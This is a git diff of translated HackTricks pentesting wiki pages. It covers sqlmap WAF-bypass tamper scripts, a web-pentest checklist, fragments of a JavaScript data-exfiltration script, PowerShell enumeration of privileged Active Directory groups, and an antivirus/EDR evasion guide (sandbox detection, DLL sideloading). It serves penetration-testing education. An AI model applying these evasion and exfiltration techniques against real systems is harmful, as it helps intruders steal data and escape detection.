| unmagicquotes.py | Замінює символ лапки (') на комбінацію з кількох байтів %bf%27 разом з загальним коментарем в кінці (щоб це працювало) |
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово версійним коментарем |
| versionedmorekeywords.py | Обгортає кожне ключове слово версійним коментарем |
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово версійним коментарем MySQL |
| versionedmorekeywords.py | Обгортає кожне ключове слово версійним коментарем MySQL |
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пентестингу**. Запустіть повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо спеціальні інструменти, модулі виявлення та експлуатації, щоб дати їм більше часу для глибшого аналізу, отримання доступу до систем і отримання задоволення.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -15,16 +15,25 @@
</details>
{% endhint %}
У кожному веб-пентесті є **кілька прихованих і очевидних місць, які можуть бути вразливими**. Ця стаття призначена для того, щоб бути контрольним списком, щоб підтвердити, що ви шукали вразливості в усіх можливих місцях.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
У кожному веб-пентесті є **кілька прихованих і очевидних місць, які можуть бути вразливими**. Ця публікація призначена для того, щоб бути контрольним списком, щоб підтвердити, що ви шукали вразливості в усіх можливих місцях.
## Проксі
{% hint style="info" %}
Сьогодні **веб** **додатки** зазвичай **використовують** якийсь вид **проміжних** **проксі**, які можуть бути (зловжито) використані для експлуатації вразливостей. Ці вразливості потребують наявності вразливого проксі, але зазвичай також потребують деякої додаткової вразливості на бекенді.
Сьогодні **веб** **додатки** зазвичай **використовують** якийсь вид **проміжних** **проксі**, які можуть бути (зловжито) використані для експлуатації вразливостей. Ці вразливості потребують наявності вразливого проксі, але зазвичай також потребують додаткової вразливості на бекенді.
{% endhint %}
* [ ] [**Зловживання заголовками hop-by-hop**](abusing-hop-by-hop-headers.md)
* [ ] [**Отруєння кешу/Дезорієнтація кешу**](cache-deception/)
* [ ] [**Отруєння кешу/Дезінформація кешу**](cache-deception/)
* [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
* [ ] [**H2C Smuggling**](h2c-smuggling.md)
* [ ] [**Включення на стороні сервера/Включення на стороні краю**](server-side-inclusion-edge-side-inclusion-injection.md)
@ -36,25 +45,25 @@
{% hint style="info" %}
Більшість веб-додатків **дозволяють користувачам вводити деякі дані, які будуть оброблені пізніше.**\
В залежності від структури даних, які очікує сервер, деякі вразливості можуть або не можуть застосовуватися.
В залежності від структури даних, які сервер очікує, деякі вразливості можуть або не можуть застосовуватися.
{% endhint %}
### **Відображені значення**
Якщо введені дані можуть якимось чином відображатися у відповіді, сторінка може бути вразливою до кількох проблем.
Якщо введені дані можуть бути якимось чином відображені у відповіді, сторінка може бути вразливою до кількох проблем.
* [ ] [**Включення шаблонів на стороні клієнта**](client-side-template-injection-csti.md)
* [ ] [**Включення команд**](command-injection.md)
* [ ] [**Введення шаблону на стороні клієнта**](client-side-template-injection-csti.md)
* [ ] [**Введення команд**](command-injection.md)
* [ ] [**CRLF**](crlf-0d-0a.md)
* [ ] [**Залишковий розмітка**](dangling-markup-html-scriptless-injection/)
* [ ] [**Включення файлів/Перехід по шляху**](file-inclusion/)
* [ ] [**Відкритий редирект**](open-redirect.md)
* [ ] [**Забруднення прототипу до XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Включення на стороні сервера/Включення на стороні краю**](server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Підробка запитів на стороні сервера**](ssrf-server-side-request-forgery/)
* [ ] [**Включення шаблонів на стороні сервера**](ssti-server-side-template-injection/)
* [ ] [**Підробка запиту на стороні сервера**](ssrf-server-side-request-forgery/)
* [ ] [**Введення шаблону на стороні сервера**](ssti-server-side-template-injection/)
* [ ] [**Зворотне табулювання**](reverse-tab-nabbing.md)
* [ ] [**Включення XSLT на стороні сервера**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**Введення XSLT на стороні сервера**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**XSS**](xss-cross-site-scripting/)
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Search**](xs-search/)
@ -67,7 +76,7 @@
### **Функції пошуку**
Якщо функціональність може бути використана для пошуку деяких даних на бекенді, можливо, ви зможете (зловжити) нею для пошуку довільних даних.
Якщо функціональність може бути використана для пошуку деяких даних у бекенді, можливо, ви зможете (зловжити) нею для пошуку довільних даних.
* [ ] [**Включення файлів/Перехід по шляху**](file-inclusion/)
* [ ] [**NoSQL Injection**](nosql-injection.md)
@ -81,7 +90,7 @@
Коли вебсокет надсилає повідомлення або форма дозволяє користувачам виконувати дії, можуть виникнути вразливості.
* [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
* [ ] [**Перехоплення WebSocket (CSWSH)**](websocket-attacks.md)
* [ ] [**Перехоплення WebSocket між сайтами (CSWSH)**](websocket-attacks.md)
* [ ] [**Вразливості PostMessage**](postmessage-vulnerabilities/)
### **HTTP Заголовки**
@ -95,7 +104,7 @@
### **Обходи**
Є кілька специфічних функцій, де деякі обхідні рішення можуть бути корисними для їх обходу.
Є кілька специфічних функцій, де деякі обхідні рішення можуть бути корисними для їх обходу
* [ ] [**Обхід 2FA/OTP**](2fa-bypass.md)
* [ ] [**Обхід процесу оплати**](bypass-payment-process.md)
@ -108,11 +117,11 @@
### **Структуровані об'єкти / Специфічні функції**
Деякі функції вимагатимуть, щоб **дані були структуровані в дуже специфічному форматі** (наприклад, серіалізований об'єкт мови або XML). Тому легше визначити, чи може додаток бути вразливим, оскільки він повинен обробляти такі дані.\
Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (наприклад, ін'єкції заголовків електронної пошти).
Деякі функції вимагатимуть, щоб **дані були структуровані в дуже специфічному форматі** (наприклад, об'єкт, серіалізований мовою або XML). Тому легше визначити, чи може додаток бути вразливим, оскільки він повинен обробляти такі дані.\
Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (наприклад, Введення заголовків електронної пошти).
* [ ] [**Десеріалізація**](deserialization/)
* [ ] [**Ін'єкція заголовків електронної пошти**](email-injections.md)
* [ ] [**Введення заголовка електронної пошти**](email-injections.md)
* [ ] [**Вразливості JWT**](hacking-jwt-json-web-tokens.md)
* [ ] [**XML Зовнішня сутність**](xxe-xee-xml-external-entity.md)
@ -123,8 +132,8 @@
Користувачі, які відкривають файли, завантажені користувачами або автоматично згенеровані, включаючи введення користувача, можуть бути скомпрометовані.
* [ ] [**Завантаження файлів**](file-upload/)
* [ ] [**Ін'єкція формул**](formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**Ін'єкція PDF**](xss-cross-site-scripting/pdf-injection.md)
* [ ] [**Введення формули**](formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**Введення PDF**](xss-cross-site-scripting/pdf-injection.md)
* [ ] [**XSS на стороні сервера**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Зовнішнє управління ідентичністю**
@ -141,6 +150,16 @@
* [ ] [**Забруднення параметрів**](parameter-pollution.md)
* [ ] [**Вразливість нормалізації Unicode**](unicode-injection/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -12,6 +12,10 @@
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
@ -119,6 +123,10 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data))
}
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -128,7 +136,7 @@ exfil_info("onmessage", encode(e.data))
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>

View file

@ -15,6 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## Відомі групи з адміністративними привілеями
* **Адміністратори**
@ -63,11 +70,11 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```cmd
C:\> .\PsService.exe security AppReadiness
```
Ця команда показує, що `Server Operators` мають повний доступ, що дозволяє маніпулювати службами для підвищення привілеїв.
Ця команда показує, що `Server Operators` мають повний доступ, що дозволяє маніпулювати службами для підвищених привілеїв.
## Backup Operators
Членство в групі `Backup Operators` надає доступ до файлової системи `DC01` завдяки привілеям `SeBackup` та `SeRestore`. Ці привілеї дозволяють проходження по папках, їх перелік та копіювання файлів, навіть без явних дозволів, використовуючи прапорець `FILE_FLAG_BACKUP_SEMANTICS`. Для цього процесу необхідно використовувати специфічні скрипти.
Членство в групі `Backup Operators` надає доступ до файлової системи `DC01` завдяки привілеям `SeBackup` та `SeRestore`. Ці привілеї дозволяють проходження через папки, їх перелік та копіювання файлів, навіть без явних дозволів, використовуючи прапорець `FILE_FLAG_BACKUP_SEMANTICS`. Для цього процесу необхідно використовувати специфічні скрипти.
Щоб перерахувати членів групи, виконайте:
```powershell
@ -232,13 +239,13 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users
```
Додаткову інформацію про експлуатацію RDP можна знайти в спеціалізованих ресурсах з пентестингу.
#### Користувачі віддаленого управління
#### Користувачі віддаленого керування
Члени можуть отримувати доступ до ПК через **Windows Remote Management (WinRM)**. Перерахування цих членів досягається через:
```powershell
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
Для технік експлуатації, пов'язаних з **WinRM**, слід звертатися до конкретної документації.
Для технік експлуатації, пов'язаних з **WinRM**, слід звернутися до конкретної документації.
#### Оператори серверів
Ця група має дозволи на виконання різних налаштувань на контролерах домену, включаючи привілеї резервного копіювання та відновлення, зміну системного часу та вимкнення системи. Щоб перерахувати учасників, використовується наступна команда:
@ -262,17 +269,24 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection), щоб легко створювати та **автоматизувати робочі процеси**, які підтримуються **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -15,75 +15,81 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Цю сторінку написав** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## **Методологія ухилення від AV**
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
Наразі антивіруси використовують різні методи для перевірки, чи є файл шкідливим, чи ні: статичне виявлення, динамічний аналіз, а для більш просунутих EDR - поведінковий аналіз.
{% embed url="https://www.stmcyber.com/careers" %}
### **Статичне виявлення**
**This page was written by** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
Статичне виявлення досягається шляхом позначення відомих шкідливих рядків або масивів байтів у бінарному файлі або скрипті, а також витягування інформації з самого файлу (наприклад, опис файлу, назва компанії, цифрові підписи, значок, контрольна сума тощо). Це означає, що використання відомих публічних інструментів може призвести до того, що вас легше спіймають, оскільки їх, ймовірно, вже проаналізували та позначили як шкідливі. Є кілька способів обійти таке виявлення:
## **AV Evasion Methodology**
* **Шифрування**
Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis.
Якщо ви зашифруєте бінарний файл, антивірус не зможе виявити вашу програму, але вам знадобиться якийсь завантажувач для розшифровки та виконання програми в пам'яті.
### **Static detection**
* **Обфускація**
Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:
Іноді все, що вам потрібно зробити, це змінити кілька рядків у вашому бінарному файлі або скрипті, щоб обійти антивірус, але це може бути трудомістким завданням, залежно від того, що ви намагаєтеся обфускувати.
* **Encryption**
* **Користувацькі інструменти**
If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
Якщо ви розробите свої власні інструменти, не буде відомих шкідливих підписів, але це потребує багато часу та зусиль.
* **Obfuscation**
Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.
* **Custom tooling**
If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.
{% hint style="info" %}
Добрий спосіб перевірити статичне виявлення Windows Defender - це [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Він в основному розділяє файл на кілька сегментів, а потім просить Defender просканувати кожен з них окремо, таким чином, він може точно сказати вам, які рядки або байти у вашому бінарному файлі були позначені.
A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.
{% endhint %}
Я настійно рекомендую вам ознайомитися з цим [YouTube плейлистом](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) про практичне ухилення від AV.
I highly recommend you check out this [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) about practical AV Evasion.
### **Динамічний аналіз**
### **Dynamic analysis**
Динамічний аналіз - це коли антивірус запускає ваш бінарний файл у пісочниці та спостерігає за шкідливою активністю (наприклад, намагається розшифрувати та прочитати паролі вашого браузера, виконує мінідамп на LSASS тощо). Ця частина може бути трохи складнішою для роботи, але ось кілька речей, які ви можете зробити, щоб уникнути пісочниць.
Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.
* **Сон перед виконанням** Залежно від того, як це реалізовано, це може бути чудовим способом обійти динамічний аналіз антивірусів. Антивіруси мають дуже короткий час для сканування файлів, щоб не переривати робочий процес користувача, тому використання тривалих снів може порушити аналіз бінарних файлів. Проблема в тому, що багато пісочниць антивірусів можуть просто пропустити сон, залежно від того, як це реалізовано.
* **Перевірка ресурсів машини** Зазвичай пісочниці мають дуже мало ресурсів для роботи (наприклад, < 2 ГБ ОП), інакше вони можуть сповільнити машину користувача. Ви також можете бути дуже креативними тут, наприклад, перевіряючи температуру ЦП або навіть швидкість вентиляторів, не все буде реалізовано в пісочниці.
* **Перевірки, специфічні для машини** Якщо ви хочете націлитися на користувача, чия робоча станція приєднана до домену "contoso.local", ви можете перевірити домен комп'ютера, щоб дізнатися, чи відповідає він вказаному вами, якщо ні, ви можете змусити свою програму вийти.
* **Sleep before execution** Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
* **Checking machine's resources** Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
* **Machine-specific checks** If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.
Виявляється, що ім'я комп'ютера пісочниці Microsoft Defender - HAL9TH, тому ви можете перевірити ім'я комп'ютера у вашому шкідливому програмному забезпеченні перед детонацією, якщо ім'я відповідає HAL9TH, це означає, що ви всередині пісочниці Defender, тому ви можете змусити свою програму вийти.
It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>джерело: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Декілька інших дійсно хороших порад від [@mgeeky](https://twitter.com/mariuszbit) для протидії пісочницям
Some other really good tips from [@mgeeky](https://twitter.com/mariuszbit) for going against Sandboxes
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
Як ми вже говорили раніше в цьому пості, **публічні інструменти** врешті-решт **будуть виявлені**, тому вам слід запитати себе щось:
As we've said before in this post, **public tools** will eventually **get detected**, so, you should ask yourself something:
Наприклад, якщо ви хочете скинути LSASS, **чи дійсно вам потрібно використовувати mimikatz**? Чи можете ви використовувати інший проект, який менш відомий і також скидає LSASS.
For example, if you want to dump LSASS, **do you really need to use mimikatz**? Or could you use a different project which is lesser known and also dumps LSASS.
Правильна відповідь, ймовірно, остання. Взяти mimikatz як приклад, це, ймовірно, один з, якщо не найбільш позначених шкідливих програм антивірусами та EDR, хоча сам проект дуже класний, з ним також важко працювати, щоб обійти антивіруси, тому просто шукайте альтернативи для того, що ви намагаєтеся досягти.
The right answer is probably the latter. Taking mimikatz as an example, it's probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, it's also a nightmare to work with it to get around AVs, so just look for alternatives for what you're trying to achieve.
{% hint style="info" %}
Коли ви модифікуєте свої вантажі для ухилення, переконайтеся, що ви **вимкнули автоматичну подачу зразків** в Defender, і, будь ласка, серйозно, **НЕ ЗАВАНТАЖУЙТЕ НА VIRUSTOTAL**, якщо ваша мета - досягти ухилення в довгостроковій перспективі. Якщо ви хочете перевірити, чи виявляє ваш вантаж певний антивірус, встановіть його на віртуальну машину, спробуйте вимкнути автоматичну подачу зразків і протестуйте його там, поки не будете задоволені результатом.
When modifying your payloads for evasion, make sure to **turn off automatic sample submission** in defender, and please, seriously, **DO NOT UPLOAD TO VIRUSTOTAL** if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until you're satisfied with the result.
{% endhint %}
## EXEs проти DLLs
## EXEs vs DLLs
Коли це можливо, завжди **надавайте перевагу використанню DLL для ухилення**, на мій погляд, файли DLL зазвичай **значно менше виявляються** та аналізуються, тому це дуже простий трюк, який можна використовувати, щоб уникнути виявлення в деяких випадках (якщо ваш вантаж має якийсь спосіб виконання як DLL, звичайно).
Whenever it's possible, always **prioritize using DLLs for evasion**, in my experience, DLL files are usually **way less detected** and analyzed, so it's a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course).
Як ми можемо бачити на цьому зображенні, вантаж DLL з Havoc має рівень виявлення 4/26 на antiscan.me, тоді як вантаж EXE має рівень виявлення 7/26.
As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate.
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>порівняння вантажу звичайного Havoc EXE з вантажем звичайного Havoc DLL на antiscan.me</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
Тепер ми покажемо кілька трюків, які ви можете використовувати з файлами DLL, щоб бути набагато непомітнішими.
Now we'll show some tricks you can use with DLL files to be much more stealthier.
## Завантаження DLL та проксування
## DLL Sideloading & Proxying
**Завантаження DLL** використовує порядок пошуку DLL, що використовується завантажувачем, розміщуючи як жертву, так і шкідливі вантажі поруч один з одним.
**DLL Sideloading** takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other.
Ви можете перевірити програми, які підлягають завантаженню DLL, використовуючи [Siofra](https://github.com/Cybereason/siofra) та наступний скрипт PowerShell:
You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script:
{% code overflow="wrap" %}
```powershell
@ -94,11 +100,11 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
{% endcode %}
